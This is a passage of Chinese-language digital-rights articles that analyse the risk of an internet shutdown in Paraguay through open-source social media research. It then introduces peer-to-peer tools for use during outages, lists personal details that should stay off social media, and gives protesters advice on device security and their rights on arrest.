考虑到这一点，要尽可能评估政府采取这种极端措施的可能性，就需要了解相关在线社区的情况。为了做到这点，在深入研究分析模型的三个类别之前，查看舆情上下文的关键部分可能很重要：即本地在线社区的动态。

」 人们如何访问互联网？

这是了解政府在限制或破坏互联网服务访问方面的杠杆作用和激励的关键问题。我们需要查看当前在线社区的行为：

- 固话宽带连接是最常用的访问网络的方式，还是移动服务占主导地位？
- 宽带服务是最受欢迎的社交方式，还是电话通信（包括短信）更常见？在互联网基础设施严重不发达的国家，尤其是在撒哈拉以南的非洲，这种情况是很普遍的。

在巴拉圭的背景下：

- 固话连接很少。在广受欢迎的移动互联网服务中，有两家供应商主导市场；
- 虽然电话服务仍然是一种重要的通信手段，但社交媒体的使用是很普遍的，在40岁以下的人口中占有很大的比例（约 70%），联合国儿童基金会估计 2014 年巴拉圭平均每个月在社交网络上创建大约 30 000 个新用户。

」该国的主要通信平台是什么？

社交媒体的使用因国家/地区而异。同样，即时消息传递应用在过去十年中发展迅速，并且根据所讨论社区的不同，存在很多重要差异。

经常被引用的一个消息来源是 Vincenzo Cosenza 的社交网络世界地图。至2017年1月（动乱发生时）的显示是这样的：

- 巴拉圭（以及拉丁美洲其他地区）的顶级热门社交媒体平台是 Facebook；
- 亚军是 Instagram；
- 可用的公共数据显示，Twitter 只是一个遥远的次要社交平台的存在。2017年3月，只有1.5%的社交媒体使用通过 Twitter 发生—而不是 Facebook 的 97%。其他消息来源也证实了这一点，包括本地产生的统计数据，估计截至 2016 年巴拉圭的 Twitter 用户为 400.000。

按国家/地区划分的使用即时消息应用的状况不太容易衡量。WhatsApp 在全球范围内仍然是一种无处不在的通信手段，特别是在发展中国家，但 Skype 仍然是世界上很多地区的主要通信渠道。telegram 也比较火，特别是在政治敏感的社区。最后，不应该忽视房间里的大象—— 全球有十亿用户在使用 Facebook Messenger 和同样水平的 WhatsApp。鉴于巴拉圭的移动连接太突出了，将它们视为该国可能非常受欢迎的在线交流方式似乎挺合理。

事实上，WhatsApp 的语音通话功能在 2015 年被两个主要的 ISP（Tigo 和 Personal ）短暂阻止过，可能是由于用户通过平台提供的免费 VoIP 服务绕过了付费电话计划—— 此消息暗示了 WhatsApp 巴拉圭社区的可能性规模。

好了，下面开始构建模型。

在线政治话语的当前情绪和轨迹是什么？

研究步骤

——Twitter 趋势——

在巴拉圭，正如前面所提到的，Facebook 和 Instagram引领市场。鉴于两者都在外部研究的数据收集、提取和操作方面存在一些重大挑战，一个好的做法是从较宽松的社交环境—从 Twitter 获得初始线索。

有几种工具可以快速捕获特定地理区域的主要 Twitter 趋势。对于此示例，我们将使用商业平台的趋势图（提供7天免费试用期）。

注意：不支持使用特定的商业网站、应用程序或软件。虽然我们决定在案例研究中使用此特定服务的演示版本有几个原因—易于使用、良好的可视化功能等—其实存在几种纯粹的开源服务，免费提供至少一部分功能。

4月2日在巴拉圭首都亚松森附近，揭示了该地区的以下主要趋势：

有些词汇和表情的特定意义是非常明确的。比如＃prayforparaguay显示了社会对暴力事件的恐慌，加上使用的是英语，似乎试图呼吁国际社会的关注（互联网是英语的天下）也能引起威权政府的注意;“violencia”显然也是一个主题。

两个有可能成为口号的标签比较突出。正如“阿拉伯之春”、 #Euromaidan 以及数字时代的众多其他在线起义所展示的那样，这些都是潜在的关键聚合因素，而且无论对实际城市动荡的影响如何，越来越的独裁偏执狂政府可能将这种标签的迅速传播视为潜在的威胁性存在，很容易引发互联网中断。

在这种情况下，＃golpeparlamentario（议会政变）和 #enmienda（修正案）在巴拉圭首都亚松森及周边地区获得了巨大的吸引力。后者提到的修正案就是被反对派提出抗议的那个，指其违反宪法和过度扩张。

＃golpeparlamentario，被使用的七天内达到了 26.000 个 tweet; #enmienda为 22.000。对于像巴拉圭这样不算大的互联网社区来说，这些都是很值得注意的数字。

同时，看一下在同一时间段内从巴拉圭发布的推文中使用的一般关键词，可以描绘出更加多样化的画面。它强调了对“enmienda”的关注（使用了 44.000 次），但它也显示了一些看似更为中性的术语，这些术语与可能的事件报道有关。 比如“Incendio”和“fuego”（两者都意味着火灾）或“bomberos”（消防员），都很可能与修正案获得批准后抗议者点燃国会事件有关。

趋势图也直接提到了 PLRA，通过对巴拉圭危机的初步背景研究得知，这正是反对党领导的抗议活动。他们的总部遭到警方的袭击，导致一名青年党员的死亡。

现在有了足够强大的潜力足以将研究转移到其他社交平台上。

——查找在线聚合：Facebook——

Facebook 作为一种无处不在的社区聚合手段，特别有利于协调和促进政治抗议活动。从“ 阿拉伯之春 ” 等重大革命趋势到相对本地化的和针对具体国家的动荡，各种先例都可验证这一事实。但同时它也是强大的追踪工具，抗议者尤其是发起人和积极人士，很容易因此被缉拿。

定位抗议协调的第一个合理目的地是 Facebook Events。可公共也可私人，还可以与大量人员共享—— 更重要的是被邀请者可重新共享，因此可以以指数级方式增加被邀请者列表。鉴于这些功能，它自然形成了一个协调街头抗议的平台，该产品自称用于各种休闲用途。

通过 Facebook 搜索栏初步了解 Trendsmap 上的一些热门主题标签和关键字下面的内容非常少。Facebook 上当前版本的搜索功能并不一定优先考虑趋势主题，但可能会对不同的动态做出响应。

然后，我们将通过简单的 Google 搜索尝试交叉。使用高级搜索运算符“ site： ”对社交平台来说非常强大（我们将来会详细介绍高级运算符的使用技巧），所以我们只需键入：

site:facebook.com/events paraguay 和 manifestación（西班牙文“演示”）

肯定会有一些不相关的结果出现，没关系，至少找到了一个有希望的结果：“ 捍卫（国家）宪法的示威公告”成为 3月30日在亚松森街头引发数千人抗议活动的社交媒体聚集和协调中心。

该活动由名为 Museo delaCorrupción 的 Facebook 页面创建。该页面包含大约 7.000 个粉丝，并显示了用于进一步推动抗议活动的口号图像（例如 #no，这是抗议议程的简单有效符号）。

这场新的抗议活动定于4月3日晚7点在 Plaza de Armas 举行（国会门前）。鼓励与会者带上白旗作为抗议标志，以及巴拉圭宪法的副本：

截至4月5日，没有观察到通过社交网络公开宣传的进一步示威活动，但抗议活动似乎大多是团结一致的（尽管出现了一些有趣的分裂团体称某 PLRA 委员会成员为“叛徒”），人们仍然不满意政府的回应，并且可能能够快速安排和推广新的街头抗议活动。

——通过视觉内容确认：**Instagram**——

Instagram 现在可以用来进一步衡量反对派运动的情绪和意图。快速浏览一下另一个主要抗议标签 #AsiNo（“ 不是那种方式 ”），发表了超过 40,000 个帖子，其中最受欢迎的帖子与巴拉圭示威活动有关：

现在已经完成了抗议运动的社交媒体足迹基本映射，并且能够监控其发展，以及将研究扩展到其他相关途径，稍后。

如何观察在线抗议的演变？

正如开源研究人员所知，并且如本案例研究中提到的那样，社交媒体平台的数据访问难度大不相同。Facebook 的 API 几乎不可能为外部操作提取数据。然而，Twitter 通过 API 自动化数据收集，提供了探索主题的好机会。可以通过各种方式完成—最明显的是自定义 Python 脚本—但为了简单和易于可视化，本文将使用另一个随时可用的平台：TAGS（Twitter Archive Google Spreadsheets），作者是 Martin Hawksey。

快速设置后，TAGS（您需要一个有效的 Twitter 帐户链接到每个新电子表格）允许研究人员浏览特定主题标签、关键字或目标用户的推文。对于本案例研究，我们将重点关注通过趋势图定位的四个主要标签中的一个，借此尝试了解其扩散模式。

最受欢迎的 #golpeparlamentario 相关的数据显示，自抗议初期达到峰值以来，它已经失去了吸引力：

有关主题标签的前10个推特用户，共有 245 条相关推文，已经看到 #golpeparlamentario 标签在检查期开始时飙升—时间跨度在 6–9 天之间，遗憾的是由于固有限制难以更好地定义到Twitter API。

看看标签在前三天的扩散情况表明它仍在使用，尽管速度已经慢下来了：

两天内使用 #golpeparlamentario 的转发最多的推文集中在对警察行动的调查，所谓的缓慢运动，与抗议的快速镇压相对：

「图」

这是基于转推量看的一个比较受欢迎的推文：

接下来是：# 对剩余的标签重复相同的分析;

- 验证新的抗议主题标签在社区内是否有发挥作用;
- 手动研究 Facebook 和 Instagram，寻找重新动员抗议的关键指标（FB events，病毒式传播的照片或 Meme 等内容的共享，或其他可引发街头行动的方式）;

我们可以得出结论，在众议院于4月5日中止宪法修正案之后，除个别活跃的活动家外，大部分抗议活动失去了动力。这便减轻了当局一些直接压力，可能减少了对存在威胁的看法，并降低了断网的可能性。

以下是第二个模型：能力。

政府关闭互联网有多容易？

巴拉圭仍然是一个上网率不高的国家，截至 2017 年1月，只有 47% 的人口访问互联网（根据“独立报”重新发布的统计数据）。

在一个内陆国家、欠发达的固话互联网基础设施、国有巴拉圭通信公司（Copaco）的垄断—巴拉圭的网民自 2009 年自由化以来，已经转向了爆发性长的移动市场。

截至 2016 年，移动互联网服务的市场渗透率估计约为 110%，而固定宽带仅为 2.6%。主要的移动提供商是 Tigo，被认为是市场领导者，其次 Personal（由 Telecom Argentina 拥有），Claro 和 Vox。

如果不同的私营运营商反对对可能带来灾难性财务后果的断网能形成一些阻力，那么移动互联网市场的相对分散可能会使中央政府稍微不那么利益控制它。然而，这远远没有消除在线监视、审查甚至网络完全关闭的风险。

至于监视，巴拉圭在五月份辞职的总统奥拉西奥卡特斯的领导下，已经在试图实施有争议的措施。例如，一项旨在迫使互联网服务供应商长期保留数据的法案，被称为“ Pyrawebs ”，最终在全球活动家和当地互联网社区虚拟起义后，于2015年中期被众议院和参议院否决。

大约在同一时间，巴拉圭政府进入了加拿大公民实验室报告的引用，他们可能是 **FinFisher** 间谍软件技术的使用者，该间谍软件不仅被用于执法调查，而且还被用于政治间谍活动，针对反对派和异议。

近年来，在线言论审查也是一个严重的问题。例如，在 2012 年，两个市场主导的移动运营商（Tigo 和 Personal）几乎整天都在阻止对本地网站的访问，主要针对的是回复政治类内容评论的用户，而且封锁没有法庭命令。

互联网关闭是最终极的激烈措施，在巴拉圭仍然是史无前例的。

总体而言，在较高的层面上，我们了解到了一个不成熟的互联网基础设施，在一个小国，其政府已经显示出至少致力于关于监视和控制的显著迹象，以及有针对性的审查技术的存在。

如果政治动荡进一步加剧，并有影响政治现状的能力，可以认为全面的互联网阻滞是可能的。

最后分析一下可能构成威胁的因素。

什么能阻止政府实施断网和延长断网时间？

成本损失是互联网关闭期间的一个关键因素，预测起来比较困难：2011 年为期五天的埃及互联网阻塞估计至少产生了9亿美元的直接成本。由于“互联网经济” 平均占发展中国家国内生产总值的5%左右，作为 2016 年 GDP 世界排名第111位的国家，很难想象巴拉圭政府会主动损伤其国家经济，现在的损失可能很容易就会达到数亿美元。

此外，国际压力（特别是来自西方国家的压力- 来自该国的侨民社区也可以推动地方政府就互联网限制发表意见）可能是一个重要的威慑因素。他们与西方的联系、对当地社区的影响以及国际压力，是一个非常微妙和流动性的领域，例如 Steven Levitsky 和 Lucan A. Way 已经做过的详细研究，与西方国家关系的地缘政治因素在其中有明显作用。

由于各种原因（其中包括文化、经济和其他原因）巴拉圭可以被视为一个与西方有着温和并现存联系的国家。喀麦隆这样的国家就是个相反的例子—自 2017 年1月以来，由于政治原因，互联网在整个地区被封锁—这可能需要分别进一步分析，关于具体国家与发达民主国家之间存在的联系、及其权力（或意志）可影响当地政府行动的能力。

巴拉圭当局更有可能采取行动，选择性地阻止政治话语活跃的社交媒体（或即时通讯）平台。这可能会持续更长的时间，并且对抗议者来说，会带来进一步令人沮丧的风险，重要的救援渠道被封堵，最终导致他们面对增大的政府压力。

最后回顾

虽然准确预测互联网关闭仍然是一项需要深入分析、监测技术信号和质量（通常是专有信息）的行动，但开源研究可以提供重要的提示，以便勾画出政府限制访问互联网的意图。

鉴于社会持久的对政府的负面情绪，以及抗议者表现出快速聚集的可能性，政府关闭互联网的动机仍然极有可能出现。

在研究哪些因素可能影响结果的过程中，我们概述了一个初步的研究和监测模型，可以作为分析和预测的初始模板，希望有助于进一步研究，最终能做到在濒临阈值前及时作出反应。

「图」

即便互联网已无法访问，但每个人的电脑实际上还是互相连接的。换句话说你们仍处于同一个巨型局域网之中，甚至仍有公网 IP。所以理论上通过某种方式，你或许能再度利用那些被荒废的网线和电缆。这里有三个方法，你只需要一个 U 盘：

1. 无服务器、永远在线的网站—— **ZeroNet** 网址：https://zeronet.io/

ZeroNet 是一个免费、开源、使用 Bitcoin 加密技术和 BT 技术的全平台分布式网络工具，其原理就像BT下载：当通过种子(torrent) 下载电影和音乐时，这些资源的来源并非某个机房中的服务器，而是其他用户的电脑硬盘，只要在网络中还存在任何一台电脑『做种』，资源就能够被持续下载，同时提供资源的设备量也会迅速增长，因此 BT 下载无法被单点封禁。

ZeroNet 的工作原理与 BT 大致相同。在你通过 ZeroNet 搭建一个网站后，处于同一个网络中的用户即可通过 ZeroNet 将你的网络论坛下载到他的硬盘里，同时进行浏览。当第三个用户访问这个站点时，你和第二个用户会同时向他上传网站。如果用户基数足够大，那么即便你的电脑关机甚至硬盘损坏，只要别人的电脑上仍保存有网站的文件，这个网站就能永远『存活』下去。

ZeroNet 提供论坛、博客、社交网站、加密邮件、即时聊天等，几乎覆盖了大多数的互联网服务。在断网时期，网民实际上有能力以极低成本来为彼此搭建这些基础服务。不仅如此，ZeroNet 还可以通过 Tor 网络隐藏身份。

2. 断网后照样聊天—— **Tox** 网址：https://tox.chat/

Tox 是一个开源免费的分布式加密通讯协议，诞生于斯诺登曝光之后，对用户的通讯内容进行端到端加密，中间不经过任何中央服务器，还可以用于局域网内通讯。

Tox 和 ZeroNet 一样，也使用了 BT 技术，将用户点对点的连接起来。在你使用 Tox 的时候，会生成一个唯一的用户名，只要你的朋友知道你的用户名，即可开始聊天。

目前 Tox 已经支持全平台，并有很多版本的客户端，界面简单易用不需要复杂配置。

3. 传递资料—— **Resilio Sync**

Resilio Sync 是一个分布式同步工具，支持全平台（但不开源）。当你把一个文件夹加入 Resilio Sync 中时，可以生成一串密钥，如果在另一台设备的 Resilio Sync 中输入该密钥，就能将你的文件夹远程同步到这台设备中。之后加入的所有同步节点，都可以在下载资源的同时向其他用户上传资源。

由于文件存储在本地硬盘而非服务器上、对传输内容进行了加密、又以 BT 基础为依托，Resilio Sync 实际上是一个高安全度、无存储空间限制、无下载流量限制、无审查、无法被封杀的超级网盘。资源拥有者甚至可以通过设置权限来控制资源的分发和更改。例如你和你的朋友希望分发你们的音乐专辑，那么你可以分配给他读写权限，然后将只读权限通过各种方法公开出去，此时你们二人可以远程协作共同编辑专辑，而其他网友则可自由下载，当文件被修改的时候，所有同步节点都会被更改。

不论如何，准备一个 PlanB 不至于措手不及。〇

原文

AS21 你不应该在社交媒体上说的话 - iyouport

护盾（AS）

【2019年3月5日存档】很多噩梦只是由于您曾经在社交网络上说得太多了。这绝不是危言耸听。我们警告过政府当局如何利用社交媒体上人们下意识透露的信息针对性地进行间谍活动，于是您应该知道

很多噩梦只是由于你曾经在社交网络上说得太多了。这绝不是危言耸听。我们警告过政府当局如何利用社交媒体上人们下意识透露的信息针对性地进行间谍活动，详见《社交媒体情报》，于是，现在梳理一下：你确实不应该在社交媒体上说的话。

有关您的一切细节信息，您都不应该在社交媒体或其他任何其他网站上发布。

Instagram，Facebook，Snapchat 和 Twitter 等社交媒体网站经常以提高帐户安全性为幌子邀请你提供更多信息。如果您忘记登录凭据，该信息可用于恢复您的社交媒体帐户（比如苹果ID的问答：您出生在哪个城市等等）。 Facebook 要求用户使用他们的平台的最低年龄，声称为了阻止不合适的内容而要求您透露自己的年龄。

但是，提供此类个人信息确实存在危险，特别是在与您生活的宏伟计划无关的社交媒体网站上。从社交媒体上要求提供的大部分信息都被用作从信用卡到股票交易账户等等各种常见密码重置问题。

于是社交媒体是社交工程攻击的最常见入口。攻击者收集有关受害者或一组受害者的信息—比如所有公司员工—并建立一个关于他们的信息数据库。目标可能是攻破整个团体或其中某些关键个人。通常，社交工程攻击用于获取关于公司中某个高级别人员的足够个人信息，就可以获取大笔金钱或公司的致命机密。

出生日期——

您的出生日期永远不要在社交媒体上发布！有些网站要求提供出生日期，那就说谎吧！我有一个标准的假生日，我在所有非必要的网站上使用它。这意味着除非需要知道我的真实生日，比如我的护照续签，此外一概输入假生日。

顺便再提一句我们介绍过的在线身份伪装《伪装＋擦除—— 在线隐身的重要步骤（少数派玩家）》

记住！输入您的真实生日并更改隐私设置仅对您自己可见是不够的！黑客完全可以获得这些数据。

出生日期是黑客打开欺诈性银行账户、侵入您当前的财务信息、以及进行其他身份盗用所需的重要信息。就数据盗窃而言，出生日期对应名字就如金条一般。

你出生的城市——

再一次，你出生的城市是一个常见的密码重置问题；这也是 Facebook 用户喜欢在他们的个人资料上自动显示的东西，这是真的非常傻。

从银行户头到贷款人的所有都使用您的家乡来识别个人。如果您申请信用卡并且银行向您询问一些个人问题，您就会看到“之前住过的地方”这样的问题出现在其中。虽然您无法将其从信用报告中删除，但是，请不要将其提供给每个人都可以看到它的社交媒体网站。攻击者可以使用它以您的名义开立帐户。

如果您公开说出了您出生的日期和城市，攻击者就可以使用这些信息来破解您的社会安全号、身份证号。您应该知道社会安全号的第一个数字与你出生的地方有关。这些关键证件号可用于完全的身份盗用。

当你在度假时请注意——

很多人都喜欢在线分享度假照片。但是，当你不在家时，千万不要这样做！如果您在自己的个人资料中发布家乡并在社交媒体上分享度假照片，窃贼就可以使用它来了解何时是您闯入家中的好时机。

分享您的家庭住址不仅可以为身份窃贼提供重要的拼图，还可以让窃贼找到您的家。

真的太想分享照片的话，等旅行回来到家后再分享。

宠物的名字——

你最喜欢的宠物的名字是什么？这个问题听起来很熟悉吗？肯定的。这是另一个常见的密码重置问题。我不是故意避免在 Instagram 上张贴可爱的小狗照片。从另一个角度看这个问题。

当被问及您最喜欢的宠物名字作为密码重置问题时，请使用您孩子的宠物或其他动物的名字—例如您最喜欢的马。不要让黑客很容易收集到有关您的信息。

您驾驶执照上的照片——

不要在线发布许可证、驾驶执照或护照上使用的照片！这是另一个信息宝库。如果黑客可以将名字与作为数据金矿的照片相匹配，添加地址和出生日期，这就是完全成熟的身份盗窃。

如果你的孩子决定张贴他们的学生证在社交网络，就等于给攻击者交上了老底。借此可以实现各种惊奇的社交工程攻击。

银行信息——

也许这点不需要多说？但是也不一定，有些人一高兴就什么都忘了，拼命想要马上晒出来，比如闪亮的新信用卡的照片，你能在网上看到一大堆。这是非常危险的。

其他常见的密码重置问题包括你结婚的地方、你父亲的名字、你母亲的婚前姓等等。很多这些都可以从公共记录中获得，但这可能需要更多的挖掘才能找到答案。

我们能见到的99%被当局追踪迫害的异议人士都是由于在社交媒体上放了太多个人信息。不仅政府和警察，任何恶意者都可以因此瞄准你。

你的目标是让攻击者的工作变得足够困难。所以，不要在敏感的或诱使敏感数据的社交媒体上发布这些内容！

如果你还关心政治类的信息，就需要做到这样：《使用社交媒体时你必须注意什么？—— 🔐 更安全的抵抗》

Things You Should Never Post On Social Media: The goal is to make a hacker's job difficult. Don't post things on social media that are sensitive or lead to sensitive data!

原文

AS23 指南：当您准备参加抗议活动... - iyouport

护盾（AS）

【2019年7月12日存档】在参加抗议之前、期间和之后，如何保护自己的安全？

现在，公民比以往任何时候都必须能够让执政者承担责任，并通过参加抗议活动激励他人的公民精神。

在参加抗议之前、期间和之后，保护您的电子设备和数字资产，对于保护您自己和您的信息安全、以及传达您的信息，至关重要。

盗窃、损坏、没收或强制删除信息，可能会破坏抗议的能力。与此同时，参与和平抗议的人可能会被搜查或逮捕，或者其他没有实际参加的人也会因各种原因被怀疑与行动者或团队有关。他们可能因此成为被监视和镇压的重点目标。

参加抗议活动存在风险，采取措施缓解这些风险可以在很大程度上确保您—— 以及您重视的数据—— 保持安全。

本指南概述了您可以在抗议之前、期间和之后采取的步骤，这些步骤将有助于最大限度地提高您的效率、并使您自己和您的数据更加安全。

> 请记住，这些提示是提高数据安全性的一般性建议，不构成法律建议或咨询。如果您有特定的法律问题，请寻求有执照的律师的建议。

——在参加抗议之前——

1、在您的设备上启用全盘加密

全盘加密可确保整个设备上的文件都经过加密。这是一种加密形式，可以保护静态数据，请不要与“传输中加密”相混淆，后者可以保护通

过 Internet 传输的数据。

全盘加密可以帮助保护从本地文本消息数据库到存储在浏览器中的密码的所有内容。如果您的设备被警方没收，或者丢失或被盗，那么全盘加密可以帮助保护设备上存储的数据。

抗议情况通常是不可预测的，因此丢失手机是一种明显的可能性。

Android 和 iOS 长期以来一直需要将全盘加密功能内置到设备中。这些应受强密码保护：8–12个随机字符、易于记忆，并在您解锁设备时输入。如果设备不受强密码保护，则使用暴力攻击可以更容易破解加密。iPhone 5s 及更高版本具有专门的硬件来防御此类攻击，但复杂、强大的密码仍然是最佳做法。

⚠请务必注意，仅加密设备可能无法加密外部存储介质，如 SD 或闪存卡。您必须单独加密这些，并且可能很难做到。您可能希望使用文件浏览应用程序调查文件在设备上的存储位置，或者从设备中删除外部存储媒体。

此外，许多数码相机缺乏加密能力。除非另有明确说明，否则必须假设使用数码相机拍摄的照片和视频将以未加密的方式存储。

2、删除指纹解锁和 **FaceID**

今天，iOS 和 Android 都允许用户使用指纹解锁（和解密）他们的设备，iPhone X 的 FaceID 允许用户使用面部识别进行同样的操作。虽然这些设置看起来很有吸引力，可以作为享受全盘加密优势的便捷方式，但是，启用这些设置意味着政府官员可以强制您用指纹或面部解锁设备。

在参加抗议的情况下尤其如此—— 或任何其他情况下，您可能会更容易遇到政府要求查看您的手机（如过境处）—— 我们强烈建议你把这个功能关闭。

在美国，使用生物识别技术（如面部扫描或指纹）来解锁手机会损害第五修正案提供给您的保护，该宪法有条款防止强迫入罪。

无论您使用生物识别码还是记忆密码，警察都可能会试图恐吓您“同意”解锁您的手机。但是，如果您行使拒绝权并且生物识别解锁功能已开启，则官员可能会强制您以生物识别方式解锁您的设备。

根据现行的美国法律，使用记忆密码通常会提供更强大的法律基础，

以便在法庭上反对强制设备解锁/解密。虽然 EFF 继续反对执法部门强迫人们解密其设备的企图，但目前没有成功，

- 在 iOS 中，您可以通过进入设置 →触摸 ID 和密码（或设置 → 面部识别码和密码，具体取决于您的 iPhone 版本）并删除每个指纹，或点击此菜单中的重置面部ID来禁用此功能。
- 在 Android 中，禁用此功能可能取决于您的设备制造商。对于 Pixel 设备，请进入设置 → 安全性 → Pixel Imprint，然后从此菜单中删除指纹。

3、使用 **Signal**

Signal 是一款适用于 iOS 和 Android 的应用程序，可提供强大的加密功能，以保护短信和语音通话。这种类型的保护称为端到端加密，可保护您的传输通信。

除了加密一对一通信外，Signal 还支持加密群组聊天。消息还可以阅后即焚，在首次阅读后的10秒到一周内消失。与 SnapChat 等其他服务相比，这些短暂的消息永远不会存储在任何服务器上，并在消失后从您的设备中删除。

2016年，弗吉尼亚州东区的一个大陪审团向 Signal Whisper Systems 发出了传票，这是 Signal 的开发者。由于 Signal 的体系结构限制了存储在公司服务器上的用户元数据，因此他们能够提供的唯一数据是“用户使用 Signal 注册的日期和时间、以及用户与 Signal 服务的连接的最后日期。

在抗议的情况下，您可以将相关照片和视频发送给远程使用 Signal 的朋友，这样如果您的手机被没收，您可以在以后检索到内容。

更多关于《如何在不必暴露真实电话号码的情况下使用 Signal》这点也非常重要！

此外还有wire，并且不需要手机号注册，也推荐使用。

4、备份您的数据

采取预防措施，以限制失去访问您的设备的潜在成本，无论是由执法部门没收的、还是丢失，或被盗的情况。定期备份您的数据并将该备份存储在安全的地方，以免您以后再担心。

5、购买预付费的一次性手机

IYP 曾经在早前的分析中提到过这个问题，详见《集会参与者有必要了解的基本安全措施》

在美国，至少目前的联邦法规并不要求您出示您的身份证以购买预付费SIM卡（但是不同的州法律可能不同！）。大多数国家/地区都要求您提供一种身份证明形式来购买预付费 SIM 卡，从而将该卡与您的身份相关联，并消除匿名的可能性。

如果您担心保护设备上存储的数据，请不要带到抗议现场。相反，购买预付费手机。这些设备可以与大多数大型零售商店的 SIM 卡一起购买。

让你的朋友知道你的临时号码，并用它来协调活动。

请记住，移动设备的位置可以通过连接的手机信号塔来确定！因此，如果您不希望当局知道您的身份和位置，请在回家之前或可能泄露您身份的任何地方关闭预付费设备。

您的设备可能会存储您的坐标。出于这个原因，我们建议您关闭定位服务。

在这里看到一个有游戏，关于 **Wi-Fi** 是如何出卖你的《为什么你不应该使用**Wi-Fi**》

⚠请注意，如果您随身携带常规设备和预付费设备一起，那么这些设备的位置可能会相关并影响您的匿名性。

——在抗议期间——

1、无需解锁设备即可拍摄照片和视频

抓住完美的图像是您想要做好准备的，而强大的图像可以帮助您实现目标。如果您选择了一个强密码，将其输入设备可能需要花费宝贵的时间来解锁，这样会影响您的抓拍。幸运的是，iOS 和 Android 都允许您在不解锁设备的情况下拍摄照片和视频。

这点也很重要，因为绝对不能为了方便抓拍而使用简单的密码或指纹识别。

2、考虑骑自行车或走路去参加抗议

自动车牌阅读器系统（ALPR）一直在自动记录驾车穿过一个区域的

所有车牌，以及确切时间、日期和位置。这项技术经常被美国和许多其他国家的执法机构使用，或由 Vigilant 和 MVTrac 等私营公司采取，这些公司与执法机构和其他实体共享车牌数据。

这些数据被储存在大型数据库中，并且将保留一段未知的时间。这些公司已经游说和诉讼大力反对禁止私人收集车牌数据或以其他方式规范 ALPR 的法规。基本上，任何车辆的行驶历史记录都被随时捕获，对于如何收集、访问、共享和保留此数据的法律限制非常少。

> 如果您希望您的运动和组织保持私密，请考虑使用其他公共交通工具。在中国，切勿使用共享自行车、和不收现金的公交车、不要使用手机叫车应用程序、不要使用移动支付出租车费用。

2、启用飞行模式

飞行模式可确保您的设备在抗议期间不会传输数据，并阻止您的位置被跟踪。不幸的是，这也意味着您将无法向朋友发送消息或致电，因此请做出相应的计划。

在参加抗议之前，请在你和你的朋友可以见面的地方达成协议。你可能还需要关闭位置服务。

某些应用允许您在没有网络的情况下导航。启用飞行模式后，您可以选择性地打开 GPS。请务必事先下载抗议区域的地图。

——如果你在美国被捕——

如果您被警察拘留和询问，您有权要求在任何询问之前和期间与律师交谈。最好说“我想要我的律师，我选择保持沉默”，然后拒绝提问，直到你有机会与律师交谈。

但是，如果您决定放弃律师协助的权利并在没有律师在场的情况下回答问题，请务必说实话。向警察撒谎是一种犯罪行为，你可能会发现自己因为向执法部门撒谎而把事情变得更糟。

如果警方要求查看您的手机，您可以告诉他们您不同意搜查设备。他们可能仍然可以抢走你的手机并在以后用手令进行搜索，但至少很明显你没有允许他们这样做。

如果警方要求您提供密码来解锁您的电子设备（或要求您直接解锁），您可以拒绝并要求与您的律师联系。执法是否以及如何强迫您

解锁您的设备仍然是一个悬而未决的法律问题; 向您的律师询问如何最好地维护您的第五修正案权利，以保护您免于被迫向政府提供自证其罪的证词。

您可能会因为拒绝提供密码或生物识别密钥警方将您的手机扣押。但是，每个逮捕情况都不同，您需要咨询律师，以帮助您了解自己的具体情况。

——如果你在中国被捕——

你最好不要被捕。如果万一被捕，记住，被讯问或调查谈话，最长只能24小时，要么出示拘留证把你送去看守所，要么放人。

记得："法律要求你实话实说，但没有要求你说出所有的话"，所以你的口头禅应该是："我记不得，记不清了"。

警察可能会向你宣读权利义务告知书，其中有两条：你可以聘请律师；你有无重大疾病。有病是非常棒的。

你需要主动要求请律师。在讯问笔录中都说"我要请律师"，这是写讯问笔录的技巧。

查看并修改笔录，如果有任何不满意的地方，你都要拒绝在笔录上签字。

警察和颜悦色的时候也要记住那些人的体貌特征，高矮胖瘦，姓名等，万一被刑讯逼供可以在事后提供出具体的描述。

记住，你有拒绝上电视、上新闻的权利。

到看守所后，第一时间要求取保候审。要努力见到律师，律师会记录下你被带走的经过、留下的照片、伤情等。这些将成为法庭上的证据。

——在抗议之后——

1、清除照片上的元数据

准备好发布照片后，如果您不想泄露个人识别信息，最好擦除图像文件中包含的元数据。

照片上的元数据可以包括拍摄照片的相机型号，拍摄照片的确切时间

和位置，甚至是您的姓名等信息。删除任何原始照片元数据的最简单方法是将照片传输到台式计算机上，然后截取图像的屏幕截图。然后，您可以发布该屏幕截图而不是原始图像。

如果您急于使用手机发布消息、或者您没有电脑（在中国后者情况很常见），那么请详见我们曾经提供过的更多技巧和介绍：《无处可藏的数字足迹—— 亦正亦邪元数据 (上篇)》《都是工具，从自我保护到有效利用—— 亦正亦邪元数据 (下篇)》

2、如果您的设备被没收，该怎么办

如果您的设备被没收，您可能有法律手段将其取回。在美国，如果您的财产在未决案件中没有作为证据被保留的必要，您的律师可以提出归还您财产的动议。如果警方认为您的电子设备上发现了“犯罪证据”，包括您的照片或录像，警方就可以将其作为证据。他们也可能试图让您放弃您的电子设备，但您可以在法庭上质疑此类资产没收。

您还可以撤消对设备上登录的某些服务的访问权限。

例如，在 Twitter 上如果您转到设置和隐私 →应用和设备，您可以撤销对有权连接到您的 Twitter 帐户的设备的访问权限。对于其他服务，只需更改密码即可提示应用程序注销。

⚠但请注意，撤销执法访问权限或远程删除数据可能会使您面临被控妨碍司法或破坏证据的风险。在决定如何继续之前，您应该先咨询您的律师。

在线服务可能会为您的帐户提供最近登录的日志。如果您担心未经您的同意将您的设备用于访问帐户，那么查看此类日志是否可用并监控它们可能是必要的。

如果您的设备曾经被没收，又再次收回，请不要马上继续使用它！要警惕其中被安装了监视软件，关于如何应对这种状况，详见《我的设备好像被黑了怎么办？—— 给敏感人士和小白朋友的数字急救包》

⚠以上指南多次强调到律师的作用，以及您和可靠的朋友合作的作用，这非常重要。您需要在所处国家和地区联合到可以支持你的律师及同伴。中国没有足够独立的法律援助团队，这是明显的缺陷，于是您应该在行动前想到关于这些缺陷的弥补方案。〇

原文

AS24 集会参与者有必要了解的基本安全措施 - iyouport

护盾（AS）

【2018年5月7日存档】介绍一些经验和小技巧

大选之后一些抗议者走上街头表达对特朗普当选的反对。但他们很可能不知道自己行使第一修正案中承诺的权利也是有风险的，从事和平抗议活动的人可能会受到搜查或逮捕，参与的运动和参与的组织被警方重点关注，成为被监视和镇压的目标。

民众行使和平集会的权利对民主制度来说至关重要，示威者应该意识到，可以采取一些预防措施来保护自己和自己的数据安全。EFF 介绍了一些基本知识。

1.在设备上启用全盘加密

